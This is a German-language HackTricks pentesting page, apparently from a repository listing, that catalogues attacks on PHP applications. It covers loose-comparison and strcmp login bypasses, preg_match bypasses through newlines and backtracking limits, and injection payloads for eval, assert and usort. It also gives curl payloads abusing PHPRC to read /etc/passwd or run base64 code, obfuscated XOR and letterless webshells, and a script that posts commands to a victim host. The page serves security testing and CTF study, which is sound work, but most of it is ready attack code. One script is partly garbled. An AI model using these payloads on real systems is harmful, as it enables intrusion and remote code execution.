hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-04-27 17:17:27 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass GitBook: No commit message 2024-04-06 18:30:57 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to German 2024-02-10 15:36:32 +00:00
php-ssrf.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:48:11 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/nginx.md', 'netw 2024-04-27 17:17:27 +00:00

PHP Tricks

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

{% embed url="https://websec.nl/" %}

Cookies common location:

Dies gilt auch für phpMyAdmin-Cookies.

Cookies:

PHPSESSID
phpMyAdmin

Standorte:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Umgehung von PHP-Vergleichen

Lockere Vergleiche/Typumwandlung ( == )

Wenn == in PHP verwendet wird, gibt es unerwartete Fälle, in denen der Vergleich nicht wie erwartet funktioniert. Dies liegt daran, dass "==" nur Werte vergleicht, die in denselben Typ umgewandelt wurden. Wenn Sie auch den Vergleich des gleichen Datentyps wünschen, müssen Sie === verwenden.

PHP-Vergleichstabellen: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl
  • "0xAAAA" == "43690" -> True Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei bei gleichen Zahlen das Ergebnis True ist (Zahlen in einem String werden als Zahlen interpretiert)
  • "0e3264578" == 0 --> True Ein String, der mit "0e" beginnt und von beliebigem Text gefolgt wird, ist gleich 0
  • "0X3264578" == 0X --> True Ein String, der mit "0" beginnt und von einem Buchstaben gefolgt wird (X kann ein beliebiger Buchstabe sein) und von beliebigem Text gefolgt wird, ist gleich 0
  • "0e12334" == "0" --> True Dies ist sehr interessant, da Sie in einigen Fällen die Zeichenfolgeneingabe von "0" und einige Inhalte steuern können, die gehasht und damit verglichen werden. Daher könnten Sie, wenn Sie einen Wert bereitstellen können, der einen Hash erstellt, der mit "0e" beginnt und ohne Buchstaben ist, den Vergleich umgehen. Sie können bereits gehashte Zeichenfolgen mit diesem Format hier finden: https://github.com/spaze/hashes
  • "X" == 0 --> True Jeder Buchstabe in einer Zeichenfolge ist gleich der Zahl 0

Weitere Informationen unter https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Typumwandlung betrifft auch die Funktion in_array() standardmäßig (Sie müssen das dritte Argument auf true setzen, um einen strikten Vergleich durchzuführen):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Wenn diese Funktion für eine Authentifizierungsprüfung verwendet wird (wie z. B. das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er anstelle eines Strings ein leeres Array als Wert des Passworts senden (https://example.com/login.php/?username=admin&password[]=) und diese Prüfung umgehen:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Strenge Typumwandlung

Auch wenn === verwendet wird, können Fehler auftreten, die den Vergleich anfällig für Typumwandlung machen. Zum Beispiel, wenn der Vergleich die Daten in ein anderes Objekt umwandelt, bevor er verglichen wird:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() könnte verwendet werden, um Benutzereingaben zu validieren (es überprüft, ob ein Wort/Regex aus einer Schwarzen Liste in der Benutzereingabe vorhanden ist und wenn nicht, kann der Code mit seiner Ausführung fortsetzen).

Umgehung einer neuen Zeile

Jedoch, wenn man den Anfang des Regexps begrenzt, überprüft preg_match() nur die erste Zeile der Benutzereingabe, dann wenn man die Eingabe auf mehreren Zeilen senden kann, könnte man diese Überprüfung umgehen. Beispiel:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Um diese Überprüfung zu umgehen, könnten Sie den Wert mit neuen Zeilen urlcodiert (%0A) senden oder, wenn Sie JSON-Daten senden können, senden Sie sie in mehreren Zeilen:

{
"cmd": "cat /etc/passwd"
}

Finden Sie hier ein Beispiel: https://ramadistra.dev/fbctf-2019-rceservice

Längenfehlerumgehung

(Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie auf PHP 7.3.15 nicht zum Laufen bringen)
Wenn Sie preg_match() einen gültigen sehr großen Eingabewert senden, wird es nicht in der Lage sein, ihn zu verarbeiten, und Sie können die Überprüfung umgehen. Zum Beispiel, wenn es ein JSON auf die Blacklist setzt, könnten Sie senden:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS Bypass

Trick von: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 und https://mizu.re/post/pong

Kurz gesagt tritt das Problem auf, weil die preg_* Funktionen in PHP auf der PCRE-Bibliothek aufbauen. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, die viel Stack-Speicher verbrauchen. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP liegt dieses Limit standardmäßig bei 100.000, was mehr ist als in den Stack passt.

In dem Beitrag wurde auch auf diesen Stackoverflow-Thread verwiesen, in dem dieses Problem ausführlicher behandelt wird. Unsere Aufgabe war nun klar:
Senden Sie eine Eingabe, die dazu führt, dass der Regex 100.000+ Rekursionen durchführt, einen SIGSEGV verursacht, die preg_match()-Funktion false zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, um am Ende des Payloads eine Überraschung wie {system(<verybadcommand>)} zu werfen, um SSTI --> RCE --> Flag zu erhalten :).

Nun, in Regex-Begriffen führen wir tatsächlich keine 100.000 "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die wie in der PHP-Dokumentation angegeben standardmäßig auf 1.000.000 (1M) in der Variable pcre.backtrack_limit festgelegt sind.
Um dies zu erreichen, führt 'X'*500_001 zu 1 Million Backtracking-Schritten (500k vorwärts und 500k rückwärts):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Typisierung für PHP-Verschleierung

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Ausführen nach Weiterleitung (EAR)

Wenn PHP zu einer anderen Seite umleitet, aber keine die oder exit Funktion aufgerufen wird, nachdem der Header Location gesetzt ist, wird PHP fortgesetzt und fügt die Daten dem Body hinzu:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Pfadtraversierung und Dateieinschluss-Exploitation

Überprüfen Sie:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Weitere Tricks

  • register_globals: In PHP < 4.1.1.1 oder bei falscher Konfiguration kann register_globals aktiv sein (oder ihr Verhalten wird nachgeahmt). Dies bedeutet, dass in globalen Variablen wie $_GET, wenn sie einen Wert haben, z.B. $_GET["param"]="1234", darauf über $param zugegriffen werden kann. Daher können Sie durch Senden von HTTP-Parametern Variablen überschreiben, die im Code verwendet werden.
  • Die PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert, daher können Sie, wenn innerhalb einer Domain unterschiedliche Cookies in verschiedenen Pfaden verwendet werden, einen Pfad so einrichten, dass er auf das Cookie des Pfads zugreift, indem Sie den Wert des Cookies des anderen Pfads setzen.
    Auf diese Weise können Sie, wenn beide Pfade auf eine Variable mit dem gleichen Namen zugreifen, den Wert dieser Variablen in Pfad1 auf Pfad2 anwenden. Dann werden die Variablen von Pfad1 als gültig für Pfad2 angesehen (indem Sie dem Cookie den entsprechenden Namen geben, der in Pfad2 verwendet wird).
  • Wenn Sie die Benutzernamen der Benutzer des Geräts haben. Überprüfen Sie die Adresse: /~<USERNAME>, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
  • LFI und RCE mit php wrappers

password_hash/password_verify

Diese Funktionen werden typischerweise in PHP verwendet, um Hashes aus Passwörtern zu generieren und zu überprüfen, ob ein Passwort mit einem Hash übereinstimmt.
Die unterstützten Algorithmen sind: PASSWORD_DEFAULT und PASSWORD_BCRYPT (beginnt mit $2y$). Beachten Sie, dass PASSWORD_DEFAULT häufig dasselbe wie PASSWORD_BCRYPT ist. Und derzeit hat PASSWORD_BCRYPT eine Größenbeschränkung für die Eingabe von 72 Bytes. Wenn Sie also versuchen, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, werden nur die ersten 72 Bytes verwendet:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Umgehung von HTTP-Headern durch Ausnutzung von PHP-Fehlern

Wenn eine PHP-Seite Fehler druckt und einige vom Benutzer bereitgestellte Eingaben ausgibt, kann der Benutzer die PHP-Server dazu bringen, einige Inhalte lang genug zurückzugeben, sodass beim Versuch, die Header in die Antwort einzufügen, der Server einen Fehler wirft.
Im folgenden Szenario hat der Angreifer den Server dazu gebracht, einige große Fehler zu werfen, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, die Header-Informationen zu ändern, konnte es nicht (beispielsweise wurde der CSP-Header nicht an den Benutzer gesendet):

Code-Ausführung

system("ls");
`ls`;
shell_exec("ls");

Überprüfen Sie dies für weitere nützliche PHP-Funktionen

RCE über preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Um den Code im "replace" Argument auszuführen, ist mindestens ein Treffer erforderlich.
Diese Option von preg_replace wurde ab PHP 5.5.0 als veraltet markiert.

RCE über Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE über Assert()

Diese Funktion in PHP ermöglicht es Ihnen, Code auszuführen, der in einem String geschrieben ist, um true oder false zurückzugeben (und je nachdem die Ausführung zu ändern). Normalerweise wird die Benutzervariable in der Mitte eines Strings eingefügt. Zum Beispiel:
assert("strpos($_GET['page']),'..') === false") --> In diesem Fall könnten Sie RCE erreichen, indem Sie:

?page=a','NeVeR') === false and system('ls') and strpos('a

RCE über usort()

Diese Funktion wird verwendet, um ein Array von Elementen mithilfe einer spezifischen Funktion zu sortieren.
Um diese Funktion zu missbrauchen:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

RCE über .httaccess

Wenn Sie eine .htaccess hochladen können, können Sie mehrere Dinge konfigurieren und sogar Code ausführen (Konfigurieren von Dateien mit der Erweiterung .htaccess, die ausgeführt werden können).

Verschiedene .htaccess-Shells finden Sie hier

RCE über Umgebungsvariablen

Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, Umgebungsvariablen in PHP zu ändern (und eine weitere zum Hochladen von Dateien, obwohl dies möglicherweise umgangen werden kann), könnten Sie dieses Verhalten missbrauchen, um RCE zu erhalten.

  • LD_PRELOAD: Diese Umgebungsvariable ermöglicht das Laden beliebiger Bibliotheken beim Ausführen anderer Binärdateien (obwohl dies in diesem Fall möglicherweise nicht funktioniert).
  • PHPRC : Weist PHP an, wo seine Konfigurationsdatei zu finden ist, normalerweise php.ini genannt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie PHPRC, um PHP darauf zu verweisen. Fügen Sie einen auto_prepend_file Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen PHP-Code, der dann vom PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
  1. Laden Sie eine PHP-Datei hoch, die unseren Shellcode enthält
  2. Laden Sie eine zweite Datei hoch, die eine auto_prepend_file-Direktive enthält, die den PHP-Präprozessor anweist, die Datei auszuführen, die wir im ersten Schritt hochgeladen haben
  3. Setzen Sie die Variable PHPRC auf die Datei, die wir im zweiten Schritt hochgeladen haben.
  • Erhalten Sie weitere Informationen zur Ausführung dieser Kette aus dem Originalbericht.
  • PHPRC - eine weitere Option
  • Wenn Sie keine Dateien hochladen können, könnten Sie in FreeBSD die "Datei" /dev/fd/0 verwenden, die den stdin enthält, der den Body der Anfrage darstellt, der an den stdin gesendet wird:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Oder um RCE zu erhalten, aktivieren Sie allow_url_include und fügen Sie eine Datei mit base64 PHP-Code voran:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technik aus diesem Bericht.

PHP Statische Analyse

Überprüfen Sie, ob Sie Code in Aufrufe dieser Funktionen einfügen können (von hier):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Wenn Sie eine PHP-Anwendung debuggen, können Sie das Fehlerdrucken global in /etc/php5/apache2/php.ini aktivieren, indem Sie display_errors = On hinzufügen und Apache neu starten: sudo systemctl restart apache2

Entschleierung von PHP-Code

Sie können die Webseite www.unphp.net verwenden, um PHP-Code zu entschlüsseln.

PHP-Wrapper & Protokolle

PHP-Wrapper und Protokolle könnten es Ihnen ermöglichen, Schreib- und Leseschutzmechanismen in einem System zu umgehen und es zu kompromittieren. Für weitere Informationen besuchen Sie diese Seite.

Xdebug nicht authentifizierter RCE

Wenn Sie feststellen, dass Xdebug in einer phpconfig()-Ausgabe aktiviert ist, sollten Sie versuchen, RCE über https://github.com/nqxcode/xdebug-exploit zu erhalten.

Variable Variablen

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE Missbrauch von neuem $_GET["a"]($_GET["b"])

Wenn Sie auf einer Seite ein neues Objekt einer beliebigen Klasse erstellen können, könnten Sie RCE erhalten. Überprüfen Sie die folgende Seite, um zu erfahren, wie:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

PHP ohne Buchstaben ausführen

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Verwendung von Oktalzahlen

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR (exklusives Oder) ist ein Bitweise Operator, der häufig in Verschlüsselungsalgorithmen verwendet wird. In PHP kann XOR verwendet werden, um Daten zu verschlüsseln und zu entschlüsseln. XOR wird verwendet, um Bits zu invertieren, wodurch eine einfache Verschlüsselungstechnik entsteht.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR einfacher Shell-Code

Gemäß diesem Bericht ist es möglich, auf einfache Weise einen Shellcode zu generieren:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Also, wenn Sie beliebiges PHP ohne Zahlen und Buchstaben ausführen können, können Sie eine Anfrage wie die folgende senden, um diesen Payload zu missbrauchen und beliebiges PHP auszuführen:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Für eine ausführlichere Erklärung siehe https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (innerhalb von eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Ähnlich wie Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: